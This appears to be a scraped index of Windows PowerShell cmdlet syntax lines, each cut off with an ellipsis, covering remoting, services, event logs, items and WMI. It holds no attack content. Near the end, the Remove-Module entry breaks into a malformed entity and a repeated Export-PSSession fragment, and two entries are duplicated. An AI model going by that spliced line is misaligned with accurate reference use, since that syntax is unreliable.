- Cmdlet Restore-Computer Restore-Computer [-RestorePoint] <Int32> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Error...
- Cmdlet Enable-PSRemoting Enable-PSRemoting [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <Stri...
- Cmdlet Enable-PSSessionConfiguration Enable-PSSessionConfiguration [[-Name] <String[]>] [-Force] [-SecurityDescriptorSddl <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPr...
- Cmdlet Resume-Service Resume-Service [-Name] <String[]> [-PassThru] [-Include <String[]>] [-Exclude <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPrefere...
- Cmdlet Remove-WSManInstance Remove-WSManInstance [-ResourceURI] <Uri> [-SelectorSet] <Hashtable> [-ApplicationName <String>] [-ComputerName <String>] [-OptionSet <Has...
- Cmdlet Remove-WmiObject Remove-WmiObject [-Class] <String> [-AsJob] [-Impersonation <ImpersonationLevel>] [-Authentication <AuthenticationLevel>] [-Locale <String...
- Cmdlet Remove-Variable Remove-Variable [-Name] <String[]> [-Include <String[]>] [-Exclude <String[]>] [-Force] [-Scope <String>] [-Verbose] [-Debug] [-ErrorActio...
- Cmdlet Enable-WSManCredSSP Enable-WSManCredSSP [-Role] <String> [[-DelegateComputer] <String[]>] [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-War...
- Cmdlet Reset-ComputerMachinePassword Reset-ComputerMachinePassword [-Server <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>]...
- Cmdlet Rename-ItemProperty Rename-ItemProperty [-Path] <String> [-Name] <String> [-NewName] <String> [-PassThru] [-Force] [-Filter <String>] [-Include <String[]>] [-...
- Cmdlet Rename-Item Rename-Item [-Path] <String> [-NewName] <String> [-Force] [-PassThru] [-Credential <PSCredential>] [-Verbose] [-Debug] [-ErrorAction <Acti...
- Cmdlet Enable-PSBreakpoint Enable-PSBreakpoint [-Id] <Int32[]> [-PassThru] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] ...
- Cmdlet ConvertTo-Xml ConvertTo-Xml [-InputObject] <PSObject> [-Depth <Int32>] [-NoTypeInformation] [-As <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPref...
- Cmdlet Copy-Item Copy-Item [-Path] <String[]> [[-Destination] <String>] [-Container] [-Force] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>...
- Cmdlet Copy-ItemProperty Copy-ItemProperty [-Path] <String[]> [-Destination] <String> [-Name] <String> [-PassThru] [-Force] [-Filter <String>] [-Include <String[]>...
- Cmdlet ConvertTo-SecureString ConvertTo-SecureString [-String] <String> [[-SecureKey] <SecureString>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAct...
- Cmdlet Convert-Path Convert-Path [-Path] <String[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable ...
- Cmdlet ConvertTo-Csv ConvertTo-Csv [-InputObject] <PSObject> [[-Delimiter] <Char>] [-NoTypeInformation] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [...
- Cmdlet ConvertTo-Html ConvertTo-Html [[-Property] <Object[]>] [[-Head] <String[]>] [[-Title] <String>] [[-Body] <String[]>] [-InputObject <PSObject>] [-As <Stri...
- Cmdlet Disable-WSManCredSSP Disable-WSManCredSSP [-Role] <String> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVar...
- Cmdlet Disconnect-WSMan Disconnect-WSMan [[-ComputerName] <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Er...
- Cmdlet Enable-ComputerRestore Enable-ComputerRestore [-Drive] <String[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Err...
- Cmdlet Disable-PSSessionConfiguration Disable-PSSessionConfiguration [[-Name] <String[]>] [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <Action...
- Cmdlet Debug-Process Debug-Process [-Name] <String[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable...
- Cmdlet Disable-ComputerRestore Disable-ComputerRestore [-Drive] <String[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Er...
- Cmdlet Disable-PSBreakpoint Disable-PSBreakpoint [-Breakpoint] <Breakpoint[]> [-PassThru] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <Actio...
- Cmdlet Use-Transaction Use-Transaction [-TransactedScript] <ScriptBlock> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>...
- Cmdlet Update-TypeData Update-TypeData [[-AppendPath] <String[]>] [-PrependPath <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction...
- Cmdlet Update-List Update-List [[-Property] <String>] [-Add <Object[]>] [-Remove <Object[]>] [-InputObject <PSObject>] [-Verbose] [-Debug] [-ErrorAction <Act...
- Cmdlet Add-Type Add-Type [-TypeDefinition] <String> [-Language <Language>] [-ReferencedAssemblies <String[]>] [-CodeDomProvider <CodeDomProvider>] [-Compi...
- Cmdlet Wait-Job Wait-Job [-Id] <Int32[]> [-Any] [-Timeout <Int32>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference...
- Cmdlet Wait-Event Wait-Event [[-SourceIdentifier] <String>] [-Timeout <Int32>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <Action...
- Cmdlet Add-PSSnapin Add-PSSnapin [-Name] <String[]> [-PassThru] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Er...
- Cmdlet Trace-Command Trace-Command [-Name] <String[]> [-Expression] <ScriptBlock> [[-Option] <PSTraceSourceOptions>] [-InputObject <PSObject>] [-ListenerOption...
- Cmdlet Test-WSMan Test-WSMan [[-ComputerName] <String>] [-Authentication <AuthenticationMechanism>] [-Port <Int32>] [-UseSSL] [-ApplicationName <String>] [-...
- Cmdlet Test-Path Test-Path [-Path] <String[]> [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-PathType <TestPathType>] [-IsValid] [-Creden...
- Cmdlet Undo-Transaction Undo-Transaction [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <String>] [-War...
- Cmdlet Update-FormatData Update-FormatData [[-AppendPath] <String[]>] [-PrependPath <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningActi...
- Cmdlet Unregister-PSSessionConfiguration Unregister-PSSessionConfiguration [-Name] <String> [-Force] [-NoServiceRestart] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-Wa...
- Cmdlet Unregister-Event Unregister-Event [-SourceIdentifier] <String> [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPrefer...
- Cmdlet Wait-Process Wait-Process [-Name] <String[]> [[-Timeout] <Int32>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreferen...
- Cmdlet Write-Progress Write-Progress [-Activity] <String> [-Status] <String> [[-Id] <Int32>] [-PercentComplete <Int32>] [-SecondsRemaining <Int32>] [-CurrentOpe...
- Cmdlet Write-Output Write-Output [-InputObject] <PSObject[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Error...
- Cmdlet Write-Host Write-Host [[-Object] <Object>] [-NoNewline] [-Separator <Object>] [-ForegroundColor <ConsoleColor>] [-BackgroundColor <ConsoleColor>] [-V...
- Cmdlet Write-Verbose Write-Verbose [-Message] <String> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariabl...
- Cmdlet Limit-EventLog Limit-EventLog [-LogName] <String[]> [-ComputerName <String[]>] [-RetentionDays <Int32>] [-OverflowAction <OverflowAction>] [-MaximumSize ...
- Cmdlet Add-Computer Add-Computer [-DomainName] <String> [-Credential <PSCredential>] [-OUPath <String>] [-PassThru] [-Server <String>] [-UnSecure] [-Verbose] ...
- Cmdlet Write-Warning Write-Warning [-Message] <String> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariabl...
- Cmdlet Add-History Add-History [[-InputObject] <PSObject[]>] [-Passthru] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPrefere...
- Cmdlet Where-Object Where-Object [-FilterScript] <ScriptBlock> [-InputObject <PSObject>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction...
- Cmdlet Add-Member Add-Member [-MemberType] <PSMemberTypes> [-Name] <String> [[-Value] <Object>] [[-SecondValue] <Object>] -InputObject <PSObject> [-Force] [...
- Cmdlet Add-Content Add-Content [-Path] <String[]> [-Value] <Object[]> [-PassThru] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Force] [-C...
- Cmdlet Write-EventLog Write-EventLog [-LogName] <String> [-Source] <String> [-EventId] <Int32> [[-EntryType] <EventLogEntryType>] [-Message] <String> [-Category...
- Cmdlet Write-Error Write-Error [-Message] <String> [-Category <ErrorCategory>] [-ErrorId <String>] [-TargetObject <Object>] [-RecommendedAction <String>] [-C...
- Cmdlet Write-Debug Write-Debug [-Message] <String> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable ...
- Cmdlet Test-ModuleManifest Test-ModuleManifest [-Path] <String> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVari...
- Cmdlet Clear-Item Clear-Item [-Path] <String[]> [-Force] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Credential <PSCredential>] [-Verbo...
- Cmdlet Split-Path Split-Path [-Path] <String[]> [-LiteralPath <String[]>] [-Parent] [-Resolve] [-Credential <PSCredential>] [-Verbose] [-Debug] [-ErrorActio...
- Cmdlet Clear-ItemProperty Clear-ItemProperty [-Path] <String[]> [-Name] <String> [-PassThru] [-Force] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>]...
- Cmdlet Clear-History Clear-History [[-Id] <Int32[]>] [[-Count] <Int32>] [-Newest] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <Action...
- Cmdlet Start-Service Start-Service [-Name] <String[]> [-PassThru] [-Include <String[]>] [-Exclude <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreferen...
- Cmdlet Start-Process Start-Process [-FilePath] <String> [[-ArgumentList] <String[]>] [-Credential <PSCredential>] [-WorkingDirectory <String>] [-LoadUserProfil...
- Cmdlet Start-Job Start-Job [-ScriptBlock] <ScriptBlock> [[-InitializationScript] <ScriptBlock>] [-Name <String>] [-Credential <PSCredential>] [-Authenticat...
- Cmdlet Connect-WSMan Connect-WSMan [[-ComputerName] <String>] [-ApplicationName <String>] [-OptionSet <Hashtable>] [-Port <Int32>] [-SessionOption <SessionOpti...
- Cmdlet ConvertFrom-Csv ConvertFrom-Csv [-InputObject] <PSObject[]> [[-Delimiter] <Char>] [-Header <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference...
- Cmdlet Show-EventLog Show-EventLog [[-ComputerName] <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Error...
- Cmdlet Complete-Transaction Complete-Transaction [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <String>] [...
- Cmdlet Clear-Variable Clear-Variable [-Name] <String[]> [-Include <String[]>] [-Exclude <String[]>] [-Force] [-PassThru] [-Scope <String>] [-Verbose] [-Debug] [...
- Cmdlet Sort-Object Sort-Object [[-Property] <Object[]>] [-Descending] [-Unique] [-InputObject <PSObject>] [-Culture <String>] [-CaseSensitive] [-Verbose] [-D...
- Cmdlet Compare-Object Compare-Object [-ReferenceObject] <PSObject[]> [-DifferenceObject] <PSObject[]> [-SyncWindow <Int32>] [-Property <Object[]>] [-ExcludeDiff...
- Cmdlet Start-Sleep Start-Sleep [-Seconds] <Int32> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <...
- Cmdlet Clear-Content Clear-Content [-Path] <String[]> [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Force] [-Credential <PSCredential>] [-Ve...
- Cmdlet Clear-EventLog Clear-EventLog [-LogName] <String[]> [[-ComputerName] <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <A...
- Cmdlet Suspend-Service Suspend-Service [-Name] <String[]> [-PassThru] [-Include <String[]>] [-Exclude <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPrefer...
- Cmdlet Checkpoint-Computer Checkpoint-Computer [-Description] <String> [[-RestorePointType] <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-Warning...
- Cmdlet Test-Connection Test-Connection [-ComputerName] <String[]> [[-Source] <String[]>] [-AsJob] [-Authentication <AuthenticationLevel>] [-BufferSize <Int32>] [...
- Cmdlet Test-ComputerSecureChannel Test-ComputerSecureChannel [-Repair] [-Server <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPrefe...
- Cmdlet Tee-Object Tee-Object [-FilePath] <String> [-InputObject <PSObject>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPre...
- Cmdlet Stop-Computer Stop-Computer [[-ComputerName] <String[]>] [[-Credential] <PSCredential>] [-AsJob] [-Authentication <AuthenticationLevel>] [-Impersonation...
- Cmdlet Start-Transcript Start-Transcript [[-Path] <String>] [-Append] [-Force] [-NoClobber] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction ...
- Cmdlet Start-Transaction Start-Transaction [-Timeout <Int32>] [-Independent] [-RollbackPreference <RollbackSeverity>] [-Verbose] [-Debug] [-ErrorAction <ActionPref...
- Cmdlet Stop-Job Stop-Job [-Id] <Int32[]> [-PassThru] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVari...
- Cmdlet Stop-Transcript Stop-Transcript [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <String>] [-Warn...
- Cmdlet Stop-Service Stop-Service [-Name] <String[]> [-Force] [-PassThru] [-Include <String[]>] [-Exclude <String[]>] [-Verbose] [-Debug] [-ErrorAction <Action...
- Cmdlet Stop-Process Stop-Process [-Id] <Int32[]> [-PassThru] [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>...
- Cmdlet Remove-PSSnapin Remove-PSSnapin [-Name] <String[]> [-PassThru] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [...
- Cmdlet Get-HotFix Get-HotFix [[-Id] <String[]>] [-ComputerName <String[]>] [-Credential <PSCredential>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>...
- Cmdlet Get-Item Get-Item [-Path] <String[]> [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Force] [-Credential <PSCredential>] [-Verbose...
- Cmdlet Get-ItemProperty Get-ItemProperty [-Path] <String[]> [[-Name] <String[]>] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Credential <PSCr...
- Cmdlet Get-Host Get-Host [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <String>] [-WarningVari...
- Cmdlet Get-FormatData Get-FormatData [[-TypeName] <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorV...
- Cmdlet Get-Help Get-Help [[-Name] <String>] [-Path <String>] [-Category <String[]>] [-Component <String[]>] [-Functionality <String[]>] [-Role <String[]>]...
- Cmdlet Get-History Get-History [[-Id] <Int64[]>] [[-Count] <Int32>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>]...
- Cmdlet Join-Path Join-Path [-Path] <String[]> [-ChildPath] <String> [-Resolve] [-Credential <PSCredential>] [-Verbose] [-Debug] [-ErrorAction <ActionPrefer...
- Cmdlet Get-PfxCertificate Get-PfxCertificate [-FilePath] <String[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Erro...
- Cmdlet Get-Process Get-Process [[-Name] <String[]>] [-ComputerName <String[]>] [-Module] [-FileVersionInfo] [-Verbose] [-Debug] [-ErrorAction <ActionPreferen...
- Cmdlet Get-PSBreakpoint Get-PSBreakpoint [[-Script] <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorV...
- Cmdlet Get-Module Get-Module [[-Name] <String[]>] [-All] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVa...
- Cmdlet Get-Job Get-Job [[-Id] <Int32[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <Strin...
- Cmdlet Get-Location Get-Location [-PSProvider <String[]>] [-PSDrive <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionP...
- Cmdlet Get-Member Get-Member [[-Name] <String[]>] [-InputObject <PSObject>] [-MemberType <PSMemberTypes>] [-View <PSMemberViewTypes>] [-Static] [-Force] [-V...
- Cmdlet Move-ItemProperty Move-ItemProperty [-Path] <String[]> [-Destination] <String> [-Name] <String[]> [-PassThru] [-Force] [-Filter <String>] [-Include <String[...
- Cmdlet Move-Item Move-Item [-Path] <String[]> [[-Destination] <String>] [-Force] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-PassThru]...
- Cmdlet Get-Credential Get-Credential [-Credential] <PSCredential> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Er...
- Cmdlet Get-Counter Get-Counter [[-Counter] <String[]>] [-SampleInterval <Int32>] [-MaxSamples <Int64>] [-Continuous] [-ComputerName <String[]>] [-Verbose] [-...
- Cmdlet Get-Command Get-Command [[-ArgumentList] <Object[]>] [-Verb <String[]>] [-Noun <String[]>] [-Module <String[]>] [-TotalCount <Int32>] [-Syntax] [-Verb...
- Cmdlet Get-ComputerRestorePoint Get-ComputerRestorePoint [[-RestorePoint] <Int32[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreferen...
- Cmdlet Get-Content Get-Content [-Path] <String[]> [-ReadCount <Int64>] [-TotalCount <Int64>] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [...
- Cmdlet Get-Culture Get-Culture [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <String>] [-WarningV...
- Cmdlet Get-EventLog Get-EventLog [-LogName] <String> [[-InstanceId] <Int64[]>] [-ComputerName <String[]>] [-Newest <Int32>] [-After <DateTime>] [-Before <Date...
- Cmdlet Get-EventSubscriber Get-EventSubscriber [[-SourceIdentifier] <String>] [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionP...
- Cmdlet Get-ExecutionPolicy Get-ExecutionPolicy [[-Scope] <ExecutionPolicyScope>] [-List] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <Actio...
- Cmdlet Measure-Command Measure-Command [-Expression] <ScriptBlock> [-InputObject <PSObject>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningActio...
- Cmdlet Get-Date Get-Date [[-Date] <DateTime>] [-Year <Int32>] [-Month <Int32>] [-Day <Int32>] [-Hour <Int32>] [-Minute <Int32>] [-Second <Int32>] [-Displa...
- Cmdlet Get-Event Get-Event [[-SourceIdentifier] <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Error...
- Cmdlet Measure-Object Measure-Object [[-Property] <String[]>] [-InputObject <PSObject>] [-Sum] [-Average] [-Maximum] [-Minimum] [-Verbose] [-Debug] [-ErrorActio...
- Cmdlet Invoke-WSManAction Invoke-WSManAction [-ResourceURI] <Uri> [-Action] <String> [[-SelectorSet] <Hashtable>] [-ConnectionURI <Uri>] [-FilePath <String>] [-Opti...
- Cmdlet Get-Service Get-Service [[-Name] <String[]>] [-ComputerName <String[]>] [-DependentServices] [-RequiredServices] [-Include <String[]>] [-Exclude <Stri...
- Cmdlet Get-TraceSource Get-TraceSource [[-Name] <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVari...
- Cmdlet Get-Transaction Get-Transaction [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <String>] [-Warn...
- Cmdlet Get-Random Get-Random [[-Maximum] <Object>] [-SetSeed <Nullable`1>] [-Minimum <Object>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-Warni...
- Cmdlet Get-PSSession Get-PSSession [[-ComputerName] <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Err...
- Cmdlet Get-PSSessionConfiguration Get-PSSessionConfiguration [[-Name] <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] ...
- Cmdlet Get-PSSnapin Get-PSSnapin [[-Name] <String[]>] [-Registered] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] ...
- Cmdlet Get-UICulture Get-UICulture [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <String>] [-Warnin...
- Cmdlet Group-Object Group-Object [[-Property] <Object[]>] [-NoElement] [-AsHashTable] [-AsString] [-InputObject <PSObject>] [-Culture <String>] [-CaseSensitiv...
- Cmdlet Get-WSManCredSSP Get-WSManCredSSP [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <String>] [-War...
- Cmdlet Get-WSManInstance Get-WSManInstance [-ResourceURI] <Uri> [-ApplicationName <String>] [-ComputerName <String>] [-ConnectionURI <Uri>] [-Dialect <Uri>] [-Frag...
- Cmdlet Get-WmiObject Get-WmiObject [-Class] <String> [[-Property] <String[]>] [-Filter <String>] [-Amended] [-DirectRead] [-AsJob] [-Impersonation <Impersonati...
- Cmdlet Get-Unique Get-Unique [-InputObject <PSObject>] [-AsString] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>]...
- Cmdlet Get-Variable Get-Variable [[-Name] <String[]>] [-ValueOnly] [-Include <String[]>] [-Exclude <String[]>] [-Scope <String>] [-Verbose] [-Debug] [-ErrorAc...
- Cmdlet Get-WinEvent Get-WinEvent [[-LogName] <String[]>] [-MaxEvents <Int64>] [-ComputerName <String>] [-Credential <PSCredential>] [-FilterXPath <String>] [-...
- Cmdlet Invoke-Command Invoke-Command [-ScriptBlock] <ScriptBlock> [-InputObject <PSObject>] [-ArgumentList <Object[]>] [-Verbose] [-Debug] [-ErrorAction <Action...
- Cmdlet Get-PSCallStack Get-PSCallStack [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <String>] [-Warn...
- Cmdlet Import-PSSession Import-PSSession [-Session] <PSSession> [[-CommandName] <String[]>] [[-FormatTypeName] <String[]>] [-Prefix <String>] [-DisableNameCheckin...
- Cmdlet Invoke-Expression Invoke-Expression [-Command] <String> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVar...
- Cmdlet Invoke-WmiMethod Invoke-WmiMethod [-Class] <String> [-Name] <String> [[-ArgumentList] <Object[]>] [-AsJob] [-Impersonation <ImpersonationLevel>] [-Authenti...
- Cmdlet Invoke-Item Invoke-Item [-Path] <String[]> [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Credential <PSCredential>] [-Verbose] [-De...
- Cmdlet Invoke-History Invoke-History [[-Id] <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable ...
- Cmdlet Import-Module Import-Module [-Name] <String[]> [-Global] [-Prefix <String>] [-Function <String[]>] [-Cmdlet <String[]>] [-Variable <String[]>] [-Alias <...
- Cmdlet Import-Alias Import-Alias [-Path] <String> [-Scope <String>] [-PassThru] [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction...
- Cmdlet Get-PSDrive Get-PSDrive [[-Name] <String[]>] [-Scope <String>] [-PSProvider <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-Warnin...
- Cmdlet Get-PSProvider Get-PSProvider [[-PSProvider] <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Erro...
- Cmdlet Import-Clixml Import-Clixml [-Path] <String[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable...
- Cmdlet Import-LocalizedData Import-LocalizedData [-BindingVariable] <String> [[-UICulture] <String>] [-BaseDirectory <String>] [-FileName <String>] [-SupportedCommand...
- Cmdlet Import-Csv Import-Csv [-Path] <String[]> [[-Delimiter] <Char>] [-Header <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAc...
- Cmdlet Import-Counter Import-Counter [-Path] <String[]> [-StartTime <DateTime>] [-EndTime <DateTime>] [-Counter <String[]>] [-MaxSamples <Int64>] [-Verbose] [-D...
- Cmdlet Export-Clixml Export-Clixml [-Path] <String> [-Depth <Int32>] -InputObject <PSObject> [-Force] [-NoClobber] [-Encoding <String>] [-Verbose] [-Debug] [-E...
- Cmdlet Export-Console Export-Console [[-Path] <String>] [-Force] [-NoClobber] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPrefe...
- Cmdlet Export-Counter Export-Counter [-Path] <String> [-FileFormat <String>] [-MaxSize <UInt32>] -InputObject <PerformanceCounterSampleSet[]> [-Force] [-Circula...
- Cmdlet Export-Alias Export-Alias [-Path] <String> [[-Name] <String[]>] [-PassThru] [-As <ExportAliasFormat>] [-Append] [-Force] [-NoClobber] [-Description <St...
- Cmdlet Read-Host Read-Host [[-Prompt] <Object>] [-AsSecureString] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>]...
- Cmdlet Enter-PSSession Enter-PSSession [-ComputerName] <String> [-Credential <PSCredential>] [-Port <Int32>] [-UseSSL] [-ConfigurationName <String>] [-Applicatio...
- Cmdlet Exit-PSSession Exit-PSSession [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <String>] [-Warni...
- Cmdlet Export-Csv Export-Csv [-Path] <String> [[-Delimiter] <Char>] -InputObject <PSObject> [-Force] [-NoClobber] [-Encoding <String>] [-NoTypeInformation] ...
- Cmdlet Pop-Location Pop-Location [-PassThru] [-StackName <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [...
- Cmdlet ForEach-Object ForEach-Object [-Process] <ScriptBlock[]> [-InputObject <PSObject>] [-Begin <ScriptBlock>] [-End <ScriptBlock>] [-Verbose] [-Debug] [-Erro...
- Cmdlet Format-Custom Format-Custom [[-Property] <Object[]>] [-Depth <Int32>] [-GroupBy <Object>] [-View <String>] [-ShowError] [-DisplayError] [-Force] [-Expan...
- Cmdlet Export-PSSession Export-PSSession [-Session] <PSSession> [-OutputModule] <String> [[-CommandName] <String[]>] [[-FormatTypeName] <String[]>] [-Force] [-Enc...
- Cmdlet Export-FormatData Export-FormatData [-InputObject <ExtendedTypeDefinition[]>] [-Path <String>] [-Force] [-NoClobber] [-IncludeScriptBlock] [-Verbose] [-Debu...
- Cmdlet Push-Location Push-Location [[-Path] <String>] [-PassThru] [-StackName <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <...
- Cmdlet Export-ModuleMember Export-ModuleMember [[-Function] <String[]>] [-Cmdlet <String[]>] [-Variable <String[]>] [-Alias <String[]>] [-Verbose] [-Debug] [-ErrorAc...
- Cmdlet Remove-Job Remove-Job [-Id] <Int32[]> [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVaria...
- Cmdlet Remove-ItemProperty Remove-ItemProperty [-Path] <String[]> [-Name] <String[]> [-Force] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Creden...
- Cmdlet Remove-Item Remove-Item [-Path] <String[]> [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Recurse] [-Force] [-Credential <PSCredenti...
- Cmdlet Remove-Module Remove-Module [-Name] <String[]> [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>]&nbsbsp; Export-PSSession [-Session] <PSSession> [-OutputModule] <String> [[-CommandName] <String[]>] [[-FormatTypeName] <String[]>] [-Force] [-Enc...
- Cmdlet Export-FormatData Export-FormatData [-InputObject <ExtendedTypeDefinition[]>] [-Path <String>] [-Force] [-NoClobber] [-IncludeScriptBlock] [-Verbose] [-Debu...
